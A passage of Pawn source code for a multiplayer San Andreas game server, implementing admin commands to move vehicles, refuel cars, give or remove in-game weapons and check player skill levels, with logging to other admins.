		  format(strings, sizeof(strings), "You have been teleported by event organizer %s",admnamee);
			SCM(user, COLOR_CRS4,strings);
			SCM(playerid,COLOR_CRS4,"Player teleported.");
			new admname[64];
			GetPlayerName(playerid, admname, sizeof(admname));
			new tarafn[40];
			GetPlayerName(user, tarafn, sizeof(tarafn));
			new adm[114];
			format(adm, sizeof(adm), "{FFFFFF}Event-Organizer %s got there %s (With-Vehicle)", admname, tarafn);
			AdminWarn(adm);
			if(IsPlayerInAnyVehicle(user))
			{
				SetVehiclePos(GetPlayerVehicleID(user),PpX+0.5,PpY+0.5,PpZ);
				LinkVehicleToInterior(GetPlayerVehicleID(user),GetPlayerInterior(playerid));
				return 1;
			}
			SetPlayerPos(user,PpX+0.3,PpY+0.3,PpZ);
			return 1;
		}*/
/* ----------------------[ End Of The GetHere Bedoune Vehicle ]------------------- */
		if(strcmp(cmd, "/getcar", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 4 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /getcar <CarID>");
			new mashinid = strval(tmp);
			if(!IsVehicleConnected(mashinid)) return SCM(playerid, COLOR_YELLOW2, "Error: This vehicle isn't valid.");
			new Float:ui[3];
			GetPlayerPos(playerid, ui[0], ui[1], ui[2]);
			SetVehiclePos(mashinid, ui[0], ui[1], ui[2]);
			LinkVehicleToInterior(mashinid, GetPlayerInterior(playerid));
			SetVehicleVirtualWorld(mashinid, GetPlayerVirtualWorld(playerid));
			new AdmWar[150];
			format(AdmWar, 150, "{FFFFFF}%s has moved vehicle id %i.", PINFO[playerid][pName], mashinid);
			AdminWarn(AdmWar);
			return SCM(playerid, COLOR_SINA3, "Vehicle moved.");
		}
		if(strcmp(cmd, "/fuelcars", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] >= 7)
				{
					for(new c=0;c<MAX_VEHICLES;c++)
					{
						Benzin[c] = GasMax;
					}
					SendMessage(playerid, COLOR_GREY, "All vehicles filled with Fuel.");
				new sttrr[256];
				format(sttrr,256,"{FFFFFF}Admin %s has been fulled all vehicles.", PINFO[playerid][pName]);
				AdminWarn(sttrr);
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW, "Error: Your admin level isn't high enough to use this command.");
					return 1;
				}
			}
			return 1;
		}
	//----------------------------------[GiveGun]------------------------------------------------
		if(strcmp(cmd, "/takegunall", true) == 0 || strcmp(cmd, "/atakegunall", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /takegunall <Distance(FLOAT)>");
			new Float:dis = floatstr(tmp);
			if(dis > 0.0)
			{
				new lolstr[256];
				format(lolstr, 256, "Admin %s has taken all weapons you have", PINFO[playerid][pName]);
				for(new i = 0;i<Akharish;i++)
				{
				 if(PINFO[playerid][pAdmin] > PINFO[i][pAdmin])
				 {
					if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
					{
						ResetPlayerKolang(i);
						SCM(i, COLOR_LIGHTRED, lolstr);
					}
				 }
				}
				format(lolstr, 256, "{FFFFFF}%s has taken all weapons from all players in %.2f distance.", PINFO[playerid][pName], dis);
				AdminWarn(lolstr);
			}
			else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
			return 1;
		}
		/*
		if(strcmp(cmd, "/etakegunall", true) == 0 || strcmp(cmd, "/eventtakegunall", true) == 0)
		{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /etakegunall <Distance(FLOAT)>");
			new Float:dis = floatstr(tmp);
			if(dis > 0.0)
			{
				new lolstr[256];
				new lolstr1[256];
				format(lolstr, 256, "Event organizer %s has taken all weapons that event players have.", PINFO[playerid][pName]);
			 SendClientMessageToAll(COLOR_SINARANG, lolstr);
				for(new i = 0;i<Akharish;i++)
				{
				   if(EventPlayer[i] == 1)
				   {
					if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
					{
						ResetPlayerKolang(i);
						//SCM(i, COLOR_LIGHTRED, lolstr);
				   }
					}
				}
				format(lolstr1, 256, "{FFFFFF}Event-Organizer %s has taken all weapons from all players in %.2f distance.", PINFO[playerid][pName], dis);
				AdminWarn(lolstr1);
			}
			else return SCM(playerid, COLOR_SINA3, "Invalid distance.");
			return 1;
		}*/
		if(strcmp(cmd, "/atakegun", true) == 0 || strcmp(cmd, "/takegun", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 2 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /atakegun <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_YELLOW2,"Player is not connected.");
			new lolstr[256];
			format(lolstr, 256, "Admin %s has taken all weapons you have.", PINFO[playerid][pName]);
			SCM(user, COLOR_LIGHTRED, lolstr);
			ResetPlayerKolang(user);
			format(lolstr, 256, "{FFFFFF}%s has taken %s's weapons.", PINFO[playerid][pName], PINFO[user][pName]);
			AdminWarn(lolstr);

			return 1;
		}
		/*
		if(strcmp(cmd, "/etakegun", true) == 0 || strcmp(cmd, "/eventtakegun", true) == 0)
		{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /etakegun <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_SINA3,"Player is not connected.");
			if(EventPlayer[user] == 0)
			{
			SCM(playerid, COLOR_YELLOW2, "Error: You couldn't take this player's guns.");
			return 1;
			}
			new lolstr[256];
			new lolstr1[256];
			format(lolstr, 256, "Event organizer %s has taken all weapons you have.", PINFO[playerid][pName]);
			SCM(user, COLOR_SINARANG, lolstr);
			ResetPlayerKolang(user);
			format(lolstr1, 256, "{FFFFFF}Event organizer %s has taken all weapons from %s.", PINFO[playerid][pName], PINFO[user][pName]);
			AdminWarn(lolstr1);

			return 1;
		}
		*/
		if(!strcmp(cmd, "/checkskill", true))
		{
			if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SCM(playerid, COL_SYN, "Syntax: /checkskill <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_SINA3,"Player is not connected.");
			new det[15],dru[15],jack[15],news[15],mech[15],law[15],rob[15],arm[15],lolstr[256];

			new level = PlayerInfo[user][pDetSkill];
			if(level >= 0 && level <= 49) { format(det, sizeof(det), "1 - need %d", 50 - level);  }
			else if(level >= 50 && level <= 99) { format(det, sizeof(det), "2 - need %d", 100 - level);  }
			else if(level >= 100 && level <= 199) { format(det, sizeof(det), "3 - need %d", 200 - level);  }
			else if(level >= 200 && level <= 399) { format(det, sizeof(det), "4 - need %d", 400 - level);  }
			else if(level >= 400) { det = "5";  }

			level = PlayerInfo[user][pDrugsSkill];
			if(level >= 0 && level <= 49) { format(dru, sizeof(dru), "1 - need %d", 50 - level);  }
			else if(level >= 50 && level <= 99) { format(dru, sizeof(dru), "2 - need %d", 100 - level);  }
			else if(level >= 100 && level <= 199) { format(dru, sizeof(dru), "3 - need %d", 200 - level);  }
			else if(level >= 200 && level <= 399) { format(dru, sizeof(dru), "4 - need %d", 400 - level);  }
			else if(level >= 400) { dru = "5";  }

			level = PlayerInfo[user][pJackSkill];
			if(level >= 0 && level <= 49) { format(jack, sizeof(jack), "1 - need %d", 50 - level);  }
			else if(level >= 50 && level <= 99) { format(jack, sizeof(jack), "2 - need %d", 100 - level);  }
			else if(level >= 100 && level <= 199) { format(jack, sizeof(jack), "3 - need %d", 200 - level);  }
			else if(level >= 200 && level <= 399) { format(jack, sizeof(jack), "4 - need %d", 400 - level);  }
			else if(level >= 400) { jack = "5";  }

			level = PlayerInfo[user][pNewsSkill];
			if(level >= 0 && level <= 49) { format(news, sizeof(news), "1 - need %d", 50 - level);  }
			else if(level >= 50 && level <= 99) { format(news, sizeof(news), "2 - need %d", 100 - level);  }
			else if(level >= 100 && level <= 199) { format(news, sizeof(news), "3 - need %d", 200 - level);  }
			else if(level >= 200 && level <= 399) { format(news, sizeof(news), "4 - need %d", 400 - level);  }
			else if(level >= 400) { news = "5";  }

			level = PlayerInfo[user][pMechSkill];
			if(level >= 0 && level <= 49) { format(mech, sizeof(mech), "1 - need %d", 50 - level);  }
			else if(level >= 50 && level <= 99) { format(mech, sizeof(mech), "2 - need %d", 100 - level);  }
			else if(level >= 100 && level <= 199) { format(mech, sizeof(mech), "3 - need %d", 200 - level);  }
			else if(level >= 200 && level <= 399) { format(mech, sizeof(mech), "4 - need %d", 400 - level);  }
			else if(level >= 400) { mech = "5";  }

			level = PlayerInfo[user][pLawSkill];
			if(level >= 0 && level <= 49) { format(law, sizeof(law), "1 - need %d", 50 - level);  }
			else if(level >= 50 && level <= 99) { format(law, sizeof(law), "2 - need %d", 100 - level);  }
			else if(level >= 100 && level <= 149) { format(law, sizeof(law), "3 - need %d", 150 - level);  }
			else if(level >= 150 && level <= 199) { format(law, sizeof(law), "4 - need %d", 200 - level);  }
			else if(level >= 200) { law = "5";  }

			level = PlayerInfo[user][pMatsSkill];
			if(level >= 0 && level <= 49) { format(arm, sizeof(arm), "1 - need %d", 50 - level);  }
			else if(level >= 50 && level <= 99) { format(arm, sizeof(arm), "2 - need %d", 100 - level);  }
			else if(level >= 100 && level <= 199) { format(arm, sizeof(arm), "3 - need %d", 200 - level);  }
			else if(level >= 200 && level <= 299) { format(arm, sizeof(arm), "4 - need %d", 300 - level);  }
			else if(level >= 300) { arm = "5";  }

			level = PlayerInfo[user][pRobSkill];
			if(level >= 0 && level <= 19) { format(rob, sizeof(rob), "1 - need %d", 20 - level);  }
			else if(level >= 20 && level <= 49) { format(rob, sizeof(rob), "2 - need %d", 50 - level);  }
			else if(level >= 50 && level <= 74) { format(rob, sizeof(rob), "3 - need %d", 75 - level);  }
			else if(level >= 75 && level <= 99) { format(rob, sizeof(rob), "4 - need %d", 100 - level);  }
			else if(level >= 100) { rob = "5";  }
			format(string, sizeof(string), "%s's Skills:",PINFO[user][pName]);
			SCM(playerid, COLOR_YELLOW, string);
			format(string, sizeof(string), "Detective: [%s] / Drugs: [%s] / CarJack: [%s] / News: [%s]",det,dru,jack,news);
			SCM(playerid, COLOR_YELLOW, string);
			format(string, sizeof(string), "Mechanic: [%s] / Lawyers: [%s] / Arms: [%s] / Rob: [%s]",mech,law,arm,rob);
			SCM(playerid, COLOR_YELLOW, string);
			format(lolstr, 256, "{FFFFFF}%s checked %s's skills.", PINFO[playerid][pName], PINFO[user][pName]);
			AdminWarn(lolstr);

			return 1;
		}
		if(!strcmp(cmd, "/givegunall", true) || !strcmp(cmd, "/ggall", true))
		{
			if(PINFO[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /givegunall <Distance> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
			new Float:dis = floatstr(tmp);
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /givegunall <Distance> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
			new wepid = strval(tmp);
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /givegunall <Distance> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
			new moheam = strval(tmp);
			if(dis > 0)
			{
				if(wepid > -1 && wepid < 47 && wepid != 19 && wepid != 20 && wepid != 21)
				{
					if(moheam > 0 && moheam <= 10000)
					{
						new lolstr[256];
						new gunname[60];
						GetWeaponName(wepid, gunname, 60);
						format(lolstr, 256, "Admin %s has given a %s with %i ammo to all.", PINFO[playerid][pName], gunname, moheam);
						for(new i = 0;i<Akharish;i++)
						{
							if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
							{
								GivePlayerKolang(i, wepid, moheam);
								SCM(i, COLOR_LIGHTRED, lolstr);
							}
						}
						format(lolstr, 256, "{FFFFFF}%s has given a(n) %s with %i ammo to all players in %.2f distance.", PINFO[playerid][pName], gunname, moheam, dis);
						AdminWarn(lolstr);
					}
					else return SCM(playerid, COLOR_SINA3, "Invalid ammo.");
				}
				else return SCM(playerid, COLOR_SINA3, "Invalid WeaponID.");
			}
			else return SCM(playerid, COLOR_SINA3, "Invalid Distance.");
			return 1;
		}
		/*
		if(!strcmp(cmd, "/egivegunall", true) || !strcmp(cmd, "/eggall", true))
		{
	   if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /egivegunall <Distance> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
			new Float:dis = floatstr(tmp);
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /egivegunall <Distance> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
			new wepid = strval(tmp);
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /egivegunall <Distance> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
			new moheam = strval(tmp);
			if(dis > 0)
			{
				if(wepid > -1 && wepid < 47 && wepid != 19 && wepid != 20 && wepid != 21)
				{
					if(moheam > 0 && moheam <= 1000)
					{
						new lolstr[1024];
						new lolstr1[1024];
						new gunname[512];
						GetWeaponName(wepid, gunname, 60);
						format(lolstr, 1024, "Event organizer %s given to all event players %s with %i bullet.", PINFO[playerid][pName], gunname, moheam);
					SendClientMessageToAll(COLOR_SINARANG, lolstr);
						for(new i = 0;i<Akharish;i++)
						{
							if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
							{
							if(EventPlayer[i] == 1)
							{
								GivePlayerKolang(i, wepid, moheam);
								//SCM(i, COLOR_LIGHTRED, lolstr);
								}
							}
						}
						format(lolstr1, 256, "{FFFFFF}Event-Organizer %s has given a(n) %s with %i ammo to all players in %.2f distance.", PINFO[playerid][pName], gunname, moheam, dis);
						AdminWarn(lolstr1);
					}
					else return SCM(playerid, COLOR_SINA3, "Invalid ammo.");
				}
				else return SCM(playerid, COLOR_SINA3, "Invalid WeaponID.");
			}
			else return SCM(playerid, COLOR_SINA3, "Invalid Distance.");
			return 1;
		}
		*/
		if(strcmp(cmd, "/givegun", true) == 0 || strcmp(cmd, "/gg", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if (PlayerInfo[playerid][pAdmin] >= 5 || PINFO[playerid][pSponser] == 1)
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /givegun <Playerid/PartOfName> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
				new playa;
				new goon;
				new aammo;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				goon = strval(tmp);
				if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /givegun <Playerid/PartOfName> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
					return 1;
				}
				if(goon <= 0||goon >= 47||goon==19||goon==20||goon==21)
				{ SendMessage(playerid, COLOR_SINA3, "This Weapon id is not exist or it's wrong."); return 1; }
				if(IsHoster(playerid)){if((goon>=35&&goon<=37)||goon==39||goon==40||goon==44||goon==45){return Error(playerid, "Error: This weapon is forbidden for hosters.")}}
				tmp = strtok(cmdtext, idx);
				aammo = strval(tmp);
				if(aammo < 1||aammo > 10000)
				{ SendMessage(playerid, COLOR_SINA3, "don't go below 1 or above 10000 Ammo."); return 1; }
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							GivePlayerKolang(playa, goon, aammo);
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new wepname[256];
							GetWeaponName(goon,wepname,sizeof wepname);
							format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s has given a(n) %s to %s with %i bullets.", sendername,wepname,giveplayer,aammo);
							ABroadCast(COLOR_AdminWarn,string,1);
							format(string, 256, "[INFO]:{FF0000} Admin %s given you a(n) %s.", sendername,wepname);
							SCM(playa,COLOR_SINA2,string);

						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		/*
		if(strcmp(cmd, "/egivegun", true) == 0 || strcmp(cmd, "/egg", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /egivegun <Playerid/PartOfName> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
				new playa;
				new goon;
				new aammo;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				goon = strval(tmp);
				if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /egivegun <Playerid/PartOfName> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
					return 1;
				}
				if(goon <= 0||goon >= 47||goon==19||goon==20||goon==21)
				{ SendMessage(playerid, COLOR_SINA3, "This Weapon id is not exist or it's wrong."); return 1; }
				tmp = strtok(cmdtext, idx);
				aammo = strval(tmp);
				if(aammo < 1||aammo > 1000)
				{ SendMessage(playerid, COLOR_SINA3, "don't go below 1 or above 1000 Ammo."); return 1; }
				if(EventPlayer[playa] == 0)
				{
				SCM(playerid, COLOR_YELLOW2, "Error: You couldn't give any guns to this player.");
				return 1;
				}
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							GivePlayerKolang(playa, goon, aammo);
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
